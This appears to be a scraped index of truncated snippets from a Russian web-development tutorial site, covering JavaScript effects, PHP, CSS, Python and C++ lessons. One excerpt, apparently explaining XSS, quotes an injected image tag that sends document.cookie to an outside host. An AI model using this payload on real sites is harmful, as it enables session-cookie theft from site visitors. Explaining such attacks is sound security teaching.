... в директории, к которой вы хотите подключить данные блокировки): <limit get post>   order allow,deny   deny from 15.29.29.12   deny from 13.110.145.   deny from 21.173.   ...
... delay = 300; //задержка в миллисекундах   function textrotator(i) {     var p = document.getelementbyid("textrotator");     p.innerhtml = array[i];     i++;     if (i == ...
... должны сначала откуда-то взять, например, из базы данных   $user_panel = file_get_contents("user_panel.tpl");   $user_panel = str_replace("{username}", $username, $user_panel);   echo $user_panel; ...
... xhttp.open("способ_отправки", "url"); непосредственно посылает на сервер запрос – метод send(). при get запросе тело запроса остается пустым. xhttp.send(); 3) сервер обрабатывает ...
... получили элемент c id="box_out" и присвоили его переменной box_primer let box_primer = document.getelementbyid('box_out'); // запустили цикл for in   for (let x in box){ // внутри парного ...
...                 var block = document.getelementbyid('infinite-scroll');                 var counter = 1; ...
... получение элемента (параграфа) с идентификатором out_num. let out_num = document.getelementbyid('out_num'); объявим вторую переменную p и присвоим ей значение ...
... число, месяц и год рождения. выходные параметры: возраст. <?php   function getage($y, $m, $d) {     if($m > date('m') || $m == date('m') && $d > date('d'))       ...
... <head> и </head>):<script type="text/javascript">   function setbigimage(foto) {     document.getelementbyid("bigimg").src = foto.src;   } </script> код html (вставлять между тегами <body> ...
... кнопку. получить поисковый запрос (как правило, передаваемый методом get, но иногда применяют и post), а также, в целях защиты от xss, пропустить его ...
... статье. скачать свежую версию filezilla можно по следующему адресу: http://filezilla.ru/get/. выберите filezilla client для вашей ос, скачайте и установите его. теперь ...
... кода дал подсказку, где прячутся нужные нам стили оформления - это файл widget.php. зайдем через админку, в редактор плагинов и заменим у цифер размер, ...
... и </head>):<script type="text/javascript">   function animatetext(id, text, i) {     document.getelementbyid(id).innerhtml = text.substring(0, i);     i++;     if (i > text.length) i = 0;     ...
... 2000; //задержка в миллисекундах   function imagerotator(i) {     var image = document.getelementbyid("rotator");     image.src = array[i];     i++;     if (i == array.length) ...
... style='font-size: "+ size +"pt'>" +text.substring(i, i + 1)+ "</span>";     }     document.getelementbyid("wave").innerhtml = out;   }   function dowave(text, n) {     sizecycle(text, 1, n); ...
... параметры";       return false;     }     list($w_i, $h_i, $type) = getimagesize($image); // получаем размеры и тип изображения (число)     $types ...
... $russian_text = iconv("cp1251", "utf-8", "сайт myrusakov.ru");   //рисуем текст ttf-шрифтом   imagettftext($i, 16, 94, 150, 200, $color, "times.ttf", $russian_text);   //отправляем заголовок с mime-type ...
... вам различные варианты шрифтов. если вам что-то понравилось, нажимаете get font и попадаете на google fonts. colors & fonts https://www.colorsandfonts.com вдохновляющая ...
... и вставляет в код сообщения следующую ссылку:   <img src = "http://сайт.com/get.php?cookie=encodeuri(document.cookie)"> пользователю достаточно лишь открыть страницу, ...
... очень просто: вы создаёте php-файл, в котором с помощью curl отсылаете post- и get-запросы. соответственно, получаете результат и сравниваете его с тем, ...
... между тегами <head> и </head>):<script language="javascript">function expandit(id){  obj = document.getelementbyid(id);  if (obj.style.display=="none") obj.style.display="";  else obj.style.display="none";}</script>код ...
... реализовывал задачу поиска по сайту. и мне нужно было сформировать из get-запроса, полученного из формы, запрос к базе данных, чтобы извлечь оттуда ...
... earn_second = earn_month / (30 * 24 * 3600);     cur_earn += earn_second * delay / 1000;     document.getelementbyid('earn').innerhtml = cur_earn.tofixed(5);   }   function updateearn() {     earn_month ...
... спрятать. в противном случае сделать видимым. function barfunction() {   var x = document.getelementbyid("navlinks");   if (x.style.display === "block") {   x.style.display = "none";   } ...
... является то, что ссылки раскупают очень быстро, правда, по сниженным ценам. gogetlinks.net. эта биржа особенна тем, что она занимается только вечными ссылками. ...
... получит элемент (elem) с id greenbar (зеленая полоска). function move() {   var elem = document.getelementbyid("greenbar"); объявим переменную width, приравненную к числовому значению ...
...     echo $files[$i]."<br />"; // выводим все полученные файлы   }   ftp_get($ftp, "local.xml", "new_doc.xml", ftp_binary);   ftp_close($ftp); ?> код хорошо прокомментирован, ...
... быть обработка различных форм, относящихся к комментариям */   $comments = getcomments(); // некая функция в модели, возврающая двумерный массив с комментариями ...
... может выглядеть: <?php   require_once "model.php"; // подключаем модель   $comments = getcomments(); // некая функция в модели, возврающая двумерный массив с комментариями ...
... цвет   imagefilledrectangle($image, 0, 0, 399, 99, $white); // делаем капчу с белым фоном   imagettftext ($image, 30, 0, 10, 40, $color, $dir."verdana.ttf", "$number_1 + $number_2"); // пишем текст   header("content-type: ...
... наш любимый function.php вставляем вот такой код. wp_enqueue_style( 'font-awesome', get_template_directory_uri(). '/css/all.css', 'style' ); вывод иконок в меню wordpress ...
... type="text/javascript">   function hotkey(event) {     var id = event.keycode;     document.getelementbyid("key").innerhtml = id;   } </script> и html-код: <body onkeyup="hotkey(event)">   ...
...       if (browser.indexof("firefox") != -1) ff = 1;     }   }   var block = document.getelementbyid("block");   delta_x = 0;   delta_y = 0;   /* ставим обработчики событий ...
...         curl_exec($ch);         $response = curl_getinfo($ch, curlinfo_http_code);         curl_close($ch);         return (!empty($response) && $response != 404); ...
... $user->childnodes; // получаем дочерние элементы у узла "user"     $id = $user->getattribute("id"); // получаем значение атрибута "id" у узла "user"     $login = $lp->item(0)->nodevalue; ...
... займёмся javascript: <script type="text/javascript">   function send() {     var message = document.getelementbyid("message").value;     var name = "гость";     /* здесь блок отправки ...
... по названию класса accordion. вторая переменная с названием i. var acc = document.getelementsbyclassname("accordion"); var i; в цикле for, мы перебираем весь массив элементов ...
... "http://mysite.ru/dir/" его автоматически перенаправит на "http://mysite.ru/dir". разумеется, все get-параметры сохранятся. например, если пользователь вводил: "http://mysite.ru/dir/?a=5&b=7", ...
... <div id="parent_popup">   <div id="popup">     <p style="cursor: pointer;" onclick="document.getelementbyid('parent_popup').style.display='none';">закрыть</p>     <p>текст в окне</p> ...
... платёжной системе (либо платёжного агрегатора). приняв данные (либо post, либо get), вы их анализируете, сверяя контрольную сумму с той, что должна быть. ...
... цифровой лупы: function zoom(event) {     let zoomer = event.currenttarget;     event.offsetx ? (offsetx = event.offsetx) : (offsetx = event.touches[0].pagex); ...
... простешийи sql-запрос. если пользователя нет, то вернуть false. */   $usertype = getusertype($login);   /* начинаем выводить контент в зависимости от типа пользователя ...
... администратора проверяем текущие параметры для политики выполнения: get-executionpolicy -list устанавливаем требуемый уровень (меняем политику выполнения) ...
... компонент, установив плагин со сниппетами, больше не надо идти на сайт getbootstrap.com, открывать документацию и копировать оттуда код. вы можете нужный ...
наверняка вы много раз видели на разных сайтах - пульсирующую кнопку с иконкой телефонной трубки. это достаточно эффективный прием, побуждающий ...
на этом уроке я покажу вам как реализовать такой hover эффект, как плавное подчеркивание ссылки при наведении. подчеркивающая линия будет появляться ...
последнее время мне все чаще задают вопросы о том, как устроены индикаторы, показывающие текущую позицию чтения текста (количество прочитанного ...
в мире веб-разработки php продолжает выделяться как один из самых широко используемых языков программирования.с каждой новой версией php представляет ...
на этом уроке мы сделаем всплывающую подсказку при наведении на иконку на чистом css. точно такой же принцип можно применить к картинке. перейдите ...
если бы таблицы могли хорошо адаптироваться под разные разрешения экранов, то человечество и по сей день делало бы табличную верстку. я ещё ...
первая часть этой статьи находится здесь, а в данной статье мы продолжим обсуждать десять частых ошибок в ux дизайне. ошибка 6: пространство ...
данная статья является продолжением предыдущей статьи, в которой мы говорили о том, как реализовать индикатор позиции чтения. в прошлой статье ...
в статье "бриф на разработку сайта" вы узнали что такое бриф и зачем надо анкетировать заказчика. вам крупно повезет, если у заказчика существует ...
на этом уроке я покажу вам как сделать очень необычный текстовый эффект, применяя чистый css. для этого потребуется большая фотография в качестве ...
в этой статье вы узнаете о шаблонных строках в javascript, которые упрощают работу со строками. до es6 мы использовали только одинарные кавычки ...
на этом уроке мы научимся делать простой hover эффект для кнопки с помощью псевдокласса :nth-child. на кнопке есть текст - button, при наведении курсора ...
на большинстве сайтах поля форм обратной связи, по ширине не больше 300 пикселей. форма с максимальной шириной в 320 пикселей целиком поместится ...
на этом уроке мы сделаем меню с красивым эффектом при наведении с использованием псевдоэлементов - :after и :before. что такое псевдоэлементы, мы очень ...
на этом уроке мы сделаем анимацию svg вектора, используя jquery плагин - lazy line painter. суть анимации состоит в постепенном прорисование любого векторного ...
из этого урока вы узнаете как создать адаптивное навигационное меню с иконками, используя библиотеку font awesome и палитру цветов, на чистом css. ...
это будет не просто очередная статья в стиле "копирайтеров-теоретиков" на тему, что такое "бесплатный конструктор сайтов mobirise". прежде, чем приступить ...
эта статья является логическим продолжением двух предыдущих статей: "бриф на разработку сайта" и "прототипирование сайта – важный этап" все ...
на этом уроке мы будем создавать адаптивную контактную форму на всю ширину браузера, используя css и медиа-запросы. демонстрация примера. ...
статья "бриф на разработку сайта" - ответила на вопрос, что такое бриф и кому он нужен. данная статья будет практическим руководством, как создать ...
в php, передача данных между приложением и сервером в формате json является обычной практикой. интерфейс jsonserializable предоставляет возможность управления ...
на прошлом уроке мы начали делать адаптивное меню для сайта, наше меню хорошо смотрится на больших и средних экранах, но при уменьшении размеров, ...
в статье "конструктор mobirise для верстальщика" была подробно раскрыта тема, чем полезен конструктор mobirise верстальщику. в этой статье, я прокомментирую ...
в мире веб-разработки существует множество технологий и подходов, которые помогают упростить процесс передачи данных между различными компонентами ...
в мире, пронизанном технологиями, нейронные сети становятся непременным инструментом для решения широкого спектра задач, начиная от распознавания ...
использовать на сайте иконки font awesome очень просто и для этого совсем не надо быть дизайнером. даже если вы не подберёте себе нужную иконку из ...
на этом уроке мы не просто познакомимся с градиентами, но и узнаем, как их можно применять на практике. вариантов применения градиентов в веб-дизайне, ...
использовать или нет на сайте прелоадер - вопрос индивидуальный. например для одностраничника, с минимальным количеством графики и изображений, ...
часть 1 часть 2 часть 3 используя готовые пакеты программного обеспечения для разработки сайтов, вы лишаетесь опыта работы в области администрирования ...
не секрет, что вероятнее всего верстка, старательно выполненная верстальщиком по psd макету, а дальнейшем перекочует в руки к специалисту по ...
перед web-разработчиками часто возникают задачи, в которых они должны работать с датой и временем. если вы все еще используете php функции, такие ...
эта статья является продолжением предыдущей статьи. первая часть находится здесь хотя в реальности, мы редко когда манипулируем временем, ...
продолжаем предыдущую статью, в которой рассказывалось как загрузить файл на сервер в expressjs. в данной статье мы рассмотрим как загрузить сразу ...
css фильтры чаще всего применяют к фоновым изображениям или фотографиям. по сути они заменяют программу photoshop, чтобы добиться некоторого эффекта, ...
эта статья является продолжением предыдущей статьи, которая находится здесь. существует несколько популярных конкурирующих форматов ...
на этом уроке мы научимся устанавливать на сайт видео фон во всю ширину экрана. обычно такие видео фоны служат вместо статичного фона в верхней ...
эта статья является продолжением предыдущей статьи, которая находится здесь. шаг 3: кодирование отображаемого кода для предотвращения межсайтового ...
data urls - это uri схема, которая позволяет встраивать мультимедиа данные в html-документ. предположим, вы хотите вставить небольшое изображение ...
в прошлой статье мы говорили о цепочке вызовов методов объекта javascript promise для последовательного преобразования результата асинхронной операции ...
часть 1 когда вы разрабатываете сайт на своем собственном компьютере, потенциальные посетители, набрав в браузере адрес http://myrusakov.ru ...
часть 1 часть 2 у начинающих php-разработчиков возникает соблазн получить все и сразу, установив такие пакеты, как xampp, wamp, mamp или easyphp. аббревиатура ...
на этом уроке мы разберем основные правила css анимации на веб-странице, которые можно применить к любому элементу, а не только к тексту. просто ...
на этом уроке, мы делали анимацию элементов, используя библиотеку animate.css. css анимация отрабатывала сразу, после загрузки страницы и останавливалась, ...
уже трудно себе представить современный сайт без иконок соц. сетей и мы их видим на большинстве сайтах. откуда же берутся эти иконки? насчет ...
сегодня мы познакомимся с адаптивным слайдером на jquery - bxslider, который будет хорошо отображаться на любом устройстве. этот слайдер подходит для ...
какое количество сюжетов используется в голливудских фильмах? некоторые критики говорят, что их всего пять. а сколькими способами можно структурировать ...
на этом уроке мы разберем пример поворачивающейся карточки с картинкой. с лицевой стороны у карточки картинка, на обратной стороне - текст. при ...
на прошлом уроке, мы научились делать css анимацию элементов, используя библиотеки animate.css + wow.js. на этом уроке мы научимся как сделать тоже самое, ...
на прошлом уроке мы разобрались, зачем нужна библиотека jquery ui и как её подключить. на этом уроке подробнее остановимся на виджете slider. речь идёт ...
oauth 2.0 - это открытый протокол авторизации, который позволяет одним приложениям получать доступ к данным других приложений. например, игровое ...
продолжаем делать выезжающее боковое меню по клику, в первой части урока была сделана html-разметка, стилизованы все селекторы, теперь осталось ...
заказчики лэндингов часто просят сделать маску ввода телефона, желая таким образом задать определённый стандарт вводимых номеров клиентами. ...
javascript - это гибкий и мощный язык программирования, который реализуется различными веб-браузерами. наряду с html и css, это основной компонент ...
доброго времени суток! несмотря на то, что структура базы данных может быть создана в ручную, путем описания sql-кода необходимого для создания ...
доброго времени суток! сегодня мы рассмотрим с вами ка можно создать эффект бьющегося сердца средствами css-анимации. итак, код ниже: <!doctype html> ...
доброго времени суток! сегодня мы рассмотрим основные термины, используемые при работе с инструментом визуаального проектирования интерфейсов ...
доброго времени суток! сегодня мы поговорим с вами о новшестве языка php - атрибутах. в php 8 была добавлена поддержка атрибутов, которые предоставляют ...
официальный сайт: textolite.ru textolite представляет собой простую систему управления статичным сайтом с бесплатной и платной расширенной версией. ...
где на сайте можно использовать угловую ленту? например ленту можно добавить на блок с ценами, скидками, подарками или украсить карточку с лучшим ...
openssl - это универсальная криптографическая библиотека, предоставляющая различные методы шифрования для защиты данных. далее мы рассмотрим ...
если вы часто работаете со списками и строками, то умение эффективно использовать срезы (slice) в python сэкономит вам массу времени. срезы позволяют ...
адаптивные изображения в html5 помогают ускорить сайт и улучшить качество картинки на разных устройствах. ключевые инструменты: атрибуты srcset, ...
запрос, который часто вводят в поиск: «семантика перемещения c++ std::move примеры». это руководство закрывает его полностью. ниже — простые объяснения, ...
промисы и async/await в javascript: понятное руководство с примерами и лучшими практиками запрос: «промисы в javascript для начинающих», «async await примеры». это ...
работа с датой и временем — обязательный навык в реальных проектах: логи, отчёты, напоминания, аналитика. в python за это отвечает модуль datetime, а ...
функции массивов — одна из сильных сторон php. правильное использование array_map, array_filter и array_reduce помогает писать короче, читабельнее и безопаснее. ...
зачем нужна строгая типизация в php 8 ключевая проблема «слабого» php — неочевидные преобразования типов. php 8 привнёс зрелую типизацию: строгий ...
запрос «map filter reduce в javascript» стабильно популярен: эти три метода помогают писать компактный и понятный код без лишних циклов и мутаций. ниже — ...
аргументы функций в python — одна из базовых тем, которая напрямую влияет на читаемость кода и качество api. в этой статье мы подробно разберём позиционные ...
php пространства имен (namespace) — это механизм логической группировки кода, который предотвращает конфликты имен и делает проект структурированным. ...
css grid — самый простой способ собрать адаптивную сетку карточек, галерей и списков товаров без десятка @media. ключ к магии — связка repeat(auto-fit, minmax()). ...
чтение и запись файлов в python: режимы, кодировки и лучшие практики работа с файлами — одна из первых реальных задач в python. в этой статье вы научитесь ...
запрос, на который отвечает статья: «ссылки и указатели в c++: отличие и когда что использовать». ключевые различия ссылка — это псевдоним уже ...
если вы вбили запрос вроде «семантическая разметка html5» и хотите быстро понять, какие теги использовать и зачем — вы по адресу. ниже кратко и ...
если вы начинаете путь в c++, умение уверенно работать со std::vector — один из важнейших навыков. вектор сочетает динамический массив, безопасность ...
event loop в javascript — базовый механизм, который определяет, когда выполняется ваш код: синхронный, коллбэки, промисы, таймеры и обработчики событий. ...
менеджеры контекста в python — один из самых полезных инструментов для управления ресурсами. если вы ищете, как работает оператор with, что такое ...
позиционирование в css — фундамент для создания всплывающих блоков, закреплённых шапок, бейджей на карточках и «прилипающих» сайдбаров. в этом ...
описание: продолжу тему создания различных анимационных эффектов на javascript, и сегодня покажу вам ещё один интересный скрипт, который двигает ...
здравствуйте! во время работы с текстовыми файлами часто возникает задача очистки данных от дубликатов. например, у вас есть список email-адресов, ...
если вы ищете простое и практичное руководство по запросу «регулярные выражения в php», вы по адресу. разберём ключевые функции pcre: preg_match, preg_replace ...
описание: кнопка с динамически появляющимся текстом. при нажатии на кнопку пользователь переходит на заданный в скрипте файл. не совсем тривиальный ...
запрос: правило трёх в c++, правило пяти в c++, правило нуля в c++ — понятное руководство с примерами и лучшими практиками. зачем нужно правило трёх, ...
запрос «измерение времени в c++» стабильно популярен у начинающих и продолжающих разработчиков. часто нужно понять, сколько работает алгоритм, ...
иконка сайта (favicon) — это небольшой, но важный элемент, который виден на вкладках браузера, в списке закладок, на экране смартфона и в ярлыках ...
описание: очень простой и часто используемый скрипт. очень простой скрипт, который способен реализовать любой, кто занимается созданием сайтов ...
поисковый запрос, под который оптимизирована статья: «css единицы измерения: px, em, rem, vw, vh» зачем понимать css‑единицы единицы измерения в css напрямую ...
описание: текст на кнопке в виде бегущей строке. весьма интересный скрипт javascript, который вполне может быть использован при создании сайта на ...
описание: достаточно простой скрипт, основанный на таймерах javascript. всё, что он делает, так это при наведении мышки начинает переливаться цветом, ...
если вы ищете понятное руководство по enum class в c++, вы на месте. в статье разберём, почему «классические» перечисления часто приводят к ошибкам, ...
циклы — один из первых инструментов, которые осваивают в python. они помогают обходить коллекции, повторять действия и управлять потоком выполнения. ...
если вы когда‑нибудь использовали цикл for в python, вы уже пользовались итераторами. в этой статье мы разберёмся, что такое итерабельные объекты ...
если вы только осваиваете ооп в python для начинающих, важно понять ключевые идеи: класс описывает «тип» объекта, а объект — это конкретный экземпляр ...
если вы ищете понятное руководство по теме «множества в python», эта статья для вас. разберём, что такое set и frozenset, какие операции поддерживаются, ...
запрос, под который оптимизирована статья: лямбда‑функции в c++. если вы хотите быстро и безопасно писать компактные функции прямо в месте вызова ...
запрос «string_view в c++: когда использовать и чем он лучше std::string» — один из самых частых у начинающих. разобраться важно: от правильного выбора типа ...
если вы только начинаете или уже пишете на языке, умение эффективно использовать f-строки в python быстро повышает читаемость кода. это современный ...
если вы ищете понятное и практичное руководство по теме «метатеги в html для seo», вы попали по адресу. разберём базовый и расширенный набор метатегов: ...
здравствуйте! при работе с текстовыми файлами в python вы могли сталкиваться с ошибками вроде: unicodedecodeerror: 'charmap' codec can't decode byte 0x98 in position xxx. ...
здравствуйте! в сегодняшней статье мы поговорим о загрузке векторных ассетов в android studio. вы узнаете, как добавлять svg-файлы в проект, превращать ...
чем ещё можно привлечь внимание пользователя? например, при наведении курсора наша кнопочка могла бы двигаться, вращаться, искажаться или масштабироваться. ...
наверняка вы видели на многих сайтах кнопку в виде иконки с тремя горизонтальными полосками, напоминающий гамбургер. в большинстве случаев ...
с помощью css селекторов мы выбираем какие конкретно элементы на сайте стилизовать. о чем нам говорит эта запись? h1 { color: red; } = селектор { свойство: ...
swoole — это современное высокопроизводительное асинхронное расширение для php, которое позволяет разработчикам создавать масштабируемые, параллельные ...
продолжаем предыдущую статью о том, как составить продающее письмо.     упростите отмену подписки. согласно законодательству, ...
каждый грамотный программист стремится писать код, который работает. однако в долгосрочной перспективе вероятность того, что ваша программа ...
в этой статье не рассматриваются технические термины и концепции, чтобы обеспечить ее содержание простым. если вы программист, позвольте мне ...
прежде чем ответить на этот вопрос, сначала мне нужно объяснить, что такое структурированные данные. в простейшем смысле структурированные ...
зачем обязательно надо делать картинки адаптивными? к сожалению, то счастливое время, когда можно было вставить картинку на веб-сайт и указать ...
это вторая часть по гамбургер меню. в первой части мы сделали пока только верстку. 5. скачать библиотеку jquery-3.3.1.min.js подключаем к нашему html ...
хорошее понимание работы механизма перенаправления url исключительно важно для любого мало-мальски сложного web-приложения. я уже писал о механизме ...
архитектура программного обеспечения играет ключевую роль в разработке веб-приложений, определяя их структуру, распределение компонентов ...
при создании собственного сайта его владелец рано или поздно сталкивается с вопросом - где найти контент для него. ведь мало кого заинтересует ...
xor (exclusive or)- это логическая операция, которая возвращает истину (1), если и только если оба операнда различаются. это означает, что результат xor ...
предположим, у вас есть продукт, портфолио или просто идея, которой вы хотите поделиться на своем сайте. прежде чем опубликовать что-либо в интернете, ...
на первой части урока, мы делали верстку на flexbox-ах, а на этом уроке, адаптируем и анимируем элементы сайта, используя библиотеку animate.css. адаптация ...
сегодня почти каждая серьезная компания распространяет свои товары и услуги через интернет с помощью собственного сайта. в условиях технологического ...
эффект плавного перехода в css часто применяется при наведении курсора на какой-нибудь элемент, например для кнопки. когда при наведении курсора, ...
главнейшим инструментом для заработка в интернет-маркетинге является e-mail рассылка. совершенно не важно, продаете ли вы собственные товары ...
на предыдущем уроке вы узнали какие seo плагины рекомендуется установить на любой wordpress сайт. на этом уроке вы узнаете как защитить ваш сайт и ...
всем привет! если вы ищите легковесную, простую javascript галерею с поддержкой свайпов и без зависимостей, то ваш выбор – photoswipe. как уже было сказано, ...
продолжаем изучать компонент zend log. первая часть данной статьи находится здесь. предобработка данных. если вам необходимо в автоматическом ...
каждый веб-сайт создается для достижения некоторой цели. оптимизация конверсии (conversion rate optimization – cro) – это процесс, имеющий целью увеличить ...
всем привет! сегодня я пишу первую статью из серии, посвященной фреймворку boostrap, в которой вы узнаете, что такое bootstrap и как его использовать. ...
всем привет! в предыдущей статье мы рассмотрели, что такое boostrap и зачем он нужен, а в этой рассмотрим, как установить и начать использовать bootstrap ...
всем привет! в этой статье мы рассмотрим, что такое reboot в bootstrap 4 и какую роль он играет в фреймворке. в основную задачу bootstrap входит обеспечение ...
всем привет! в этой статье мы рассмотрим утилиты и типографию в bootstrap 4 и преобразим наш блок, написанный в предыдущей статье. если вы перейдете ...
всем привет! в этой статье мы продолжим изучать bootstrap 4 и рассмотрим компонент под названием cards. cards – это компонент, который позволяет создавать ...
в этом уроке мы научимся с вами делать горизонтальное анимированное выпадающее меню на css3, при наведении курсором на его категории, будет меняться ...
начиная с этого урока, мы будем учиться верстке сайта с нуля в популярном flat стиле. эта тема очень объемная и мы посвятим ей не один урок. что ...
суть эффекта параллакс заключается в разных скоростях движения отдельных элементов фоновой картинки, при этом сам фон при прокручивании страницы, ...
мы продолжаем серию уроков по верстке сайта с нуля. на прошлом уроке мы верстали шапку макета. далее идет блок из одной большой фотографии в ...
продолжаем уроки по верстке сайта с нуля. на первом уроке мы верстали шапку сайта. на втором уроке - блок с большой картинкой. на этом уроке мы ...
всем доброго времени суток. сегодня я хотел бы поделиться с вами, посетителями моего сайта, очень важной информацией. буквально на днях я запустил ...
мы продолжаем серию уроков по верстке сайта с нуля с плоским дизайном. на первом уроке была сверстана шапка макета. на втором уроке - блок с ...
существуют четыре основных принципа визуального дизайна, которые могут применяться для разработки дизайна всего что угодно. это повторение, ...
каким образом посетители перемещаются на вашем сайте? как они находят то, что ищут? это в большой степени определяется организацией вашего ...
любой, кто имеет опыт разработки web приложений или использования какого-либо php фреймворка, безусловно, сталкивался с реляционными базами данных, ...
как начинающие, так и опытные верстальщики не могли не заметить, что вместе с новыми возможностями в css3 технологиях, объем самого css-кода, существенно ...
на этом уроке мы научимся встраивать строку поиска в адаптивное меню навигации, используя при этом только html/css код. демонстрация примера. ...
проверка на сезонность и перспективность нам надо исключить, что выбранная ниша не имеет сезонности и нисходящего тренда. поскольку, это наш ...
тем, кто знает, что такое обратный звонок на сайте, предлагаю не читать, а перейти сразу к следующей главе. для остальных постараюсь объяснить, ...
прежде чем использовать и публиковать изображения на веб-сайте, сначала их необходимо подготовить. подготовка включает в себя уменьшение веса ...
на предыдущем уроке мы сверстали секцию с портфолио на css grid для десктопа. осталось сделать верстку адаптивной для различных мобильных устройств ...
у верстальщиков часто возникает ситуация, когда необходимо сделать элементу вертикальное выравнивание - расположить в центре экрана по оси ...
на этом уроке, мы создадим красивый эффект тени при наведении, на чистом css. подобный эффект можно реализовать на любом блочном элементе. в нашем ...
как с пользой можно применить эффект печатающегося текста на сайтах? первое, что приходит в голову - для фиксирования внимания посетителей на ...
вы были молодцом и уже прошли курс по основам верстки, хорошо знаете html теги и css свойства. кто-то из вас воспользовался многочисленными бесплатными ...
многие из вас наверняка видели, что при заполнение формы можно поставить галочку в поле с чекбоксом и при вводе пароль станет видимым. сегодня ...
в первой части урока мы нарисовали сам слайдер с использованием html и css, во второй части создадим кнопки prev / next и напишем javascript код для управления ...
на этом уроке разберем как можно имитировать ввод текста с клавиатуры с помощью css анимации. эффект печатающегося текста способен оживить вашу ...
элемент с position: sticky отображается как относительно спозиционированный до тех пор, пока не пересечет заданную границу и тогда он ведет себя как ...
что такое аккордеон в html? это компактный способ отображения контента на сайте. чаще всего это текстовые блоки с информацией, например ответы ...
данная статья является логическим продолжением статьи «как уменьшить размер изображения без photoshop». доступность больших и качественных ...
на этом уроке вы узнаете, как стилизовать стандартные радио кнопки под свой дизайн, с помощью html и css. на сайтах радио кнопки чаще всего используются ...
в первой части, мы учились получать и изменять значение атрибута на jquery. во второй части, напишем программу на jquery - при клике по цветной кнопке, ...
добавить иконки соцсетей на wordpress сайт можно с помощью обычного виджета text. находим в кастомайзере виджет text и добавляем его в первую колонку ...
использование всплывающих подсказок на html страницах, прекрасная возможность дать пользователю уточняющую информацию, в удобном для него виде ...
шорткод woocommerce - это короткий код для вывода товаров, страниц и категорий. при запуске короткий код развернется в полноценный код. шорткоды woocommerce ...
я хочу вывести иконки социальных сетей в верхнем правом углу шапки сайта с помощью хуков. поскольку верхняя область у меня уже занята ссылками, ...
flex блок представляет собой flex-контейнер, внутри которого вдоль основной оси, расположены flex-элементы. это легко представить в виде шашлыка, ...
с технологией флексбоксов стало намного проще не только адаптивно верстать сайты, но и выравнивать элементы. раньше с этим было трудновато. ...
сегодня поговорим о том, как сделать анимацию чисел на сайте - полезный эффект увеличения чисел, который часто можно увидеть на лендингах. данный ...
продолжаем разбирать настройки плагина yoast seo, здесь первая часть статьи. отображение в поисковой выдаче / медиа когда вы загружаете медиафайл, ...
на этом уроке разберем настройки популярного yoast seo плагина (версия 15.4) для использования в онлайн-магазинах, работающих на основе woocommerce плагина. ...
на этом уроке мы сделаем верстку адаптивной шапки сайта (лендинга), используя bootstrap сетку. если вы не знаете что это такое, советую почитать статью ...
на дворе уже 2020 год и я думаю, что этап агитации делать верстку с использованием препроцессоров, уже давно пройден. поэтому можно без потери ...
на первом и втором уроках мы делали адаптивную верстку фотогалереи, где контент заполнял всю ширину экрана. сегодня сверстаем простую секцию ...
сегодня мы научимся получать значения из формы на jquery, вводимые пользователем. рассмотрим на примере простого калькулятора. у него будет два ...
существует два принципиально разных способа, добавления иконок на сайт: в виде картинки (растровой или векторной) в качестве иконочного ...
часто можно увидеть в социальных сетях, как бывалые программисты внушают новичкам, что им не нужно тратить время на изучение библиотеки jquery. ...
в статье работа с библиотекой jquery ui, мы подробно на примере виджета tooltip, разобрали, как подключить библиотеку, зачем она вообще нужна. сегодня, ...
уже трудно себе представить современные сайты без иконок и вообще без графики. вся графика, которую мы видим на сайтах может быть растровой ...
при помощи svg фильтра fegaussianblur можно размыть какую-нибудь область на фотографии, ограничив ее блоком любой формы и с любым оформлением. на размытой ...
формат svg дает новые возможности для рисования различных фигур и анимирования их. сегодня мы рассмотрим svg hover эффект на кнопку. создадим внешний ...
различные hover эффекты на кнопках служат для привлечения внимания пользователей, чтобы побудить их к активным действиям. сегодня мы рассмотрим, ...
сегодня мы рассмотрим простой, но интересный эффект появления рамки из центра, при наведении на кнопку. в качестве объекта наведения может быть ...
дефолтное подчеркивание ссылок дефолтное подчеркивание ссылок в html выглядит очень скучно и непривлекательно. стандартные ссылки имеют синий ...
для создания простенького параллакс эффекта вполне можно обойтись и без использования сторонних плагинов и библиотек. более того, для реализации ...
делать карусель на чистом js, с нуля и самому? зачем изобретать велосипед, когда есть готовые решения, slick / owl слайдеры? на это есть, как минимум ...
на этом уроке мы создадим простую css анимацию появления текста. разобьем наш текст на отдельные фразы и будем их друг за другом прокручивать ...
на одном из предыдущих уроков, мы рассматривали самый простой способ, как сделать таблицу адаптивной. суть адаптации таблицы сводилась к появлению ...
возможно, что после прочтения статьи python – как первый язык программирования, вам захочется познакомиться поближе с питоном (народное название). ...
на этом уроке мы сделаем модальное окно на js. уже трудно себе представить современный коммерческий сайт без модального окна. поэтому, понимание ...
список в python представляет из себя упорядоченную коллекцию однотипных или не однотипных элементов и относится к типу данных list. это когда в переменную ...
словарь является типом данных (dist) в python и представляет собой неупорядоченную коллекцию, состоящую из пар "ключ-значение". словари в python очень ...
в этой статье, мы познакомимся с базовыми основами работы со строками в python. строка (string) содержит в себе набор символов в кодировке ascii и относится ...
в python у разных типов данных есть свои методы (функции), специфичные для этого типа данных. и раз уж на прошлом уроке мы начали знакомиться со строками, ...
предназначение цикла while в python, такое же, как и в других языках программирования - выполнять одинаковые инструкции столько раз, пока условие ...
в программировании мы всегда взаимодействуем с данными, которые не являются какой-то абстрактной субстанцией. все данные разделяются по определенному ...
на этом уроке мы познакомимся с ещё одним типом данных в python, множеством (по-английски - set). множество - это неупорядоченный набор уникальных ...
изучать программирования без решения практических задач, не имеет никакого смысла. вам не нужна теория, просто ради теории и работодателю тоже. ...
ни в коем случае нельзя бездумно создавать на сайте анимации, просто ради анимации. как говорится, медицинский совет "не навреди", здесь вполне ...
после прочтения этой статьи, у начинающего разработчика по крайней мере на один вопрос будет меньше. заказчики часто просят исполнителя изменить ...
на предыдущем уроке мы разобрали, как можно менять отдельные css свойства у элементов при помощи javascript. однако будет ли такое действие эффективным, ...
несмотря на существенный прорыв в создании анимаций на css, javascript по прежнему остаётся главным инструментом по анимациям в веб-разработке. на ...
на прошлом уроке мы создавали html структуру для макета с блок постами, а на этом уроке расставим посты в соответствии с макетом, максимально используя ...
в интернете мы то и дело ищем какую-нибудь информацию, чаще всего это текст и поэтому не случайно всех больше html тегов предусмотрено именно для ...
на чистом css можно создавать интересные и оригинальные "спецэффекты", один из которых мы сейчас подробно разберем. у нас есть список пунктов ...
наверняка вы много раз видели на сайтах, как фоновая картинка при прокрутке вниз плавно уменьшалась в размерах до полного исчезновения, чтобы ...
на этом уроке мы рассмотрим один из вариантов создания анимации на javascript, через функцию requestanimationframe. по большому счету существует два способа, ...
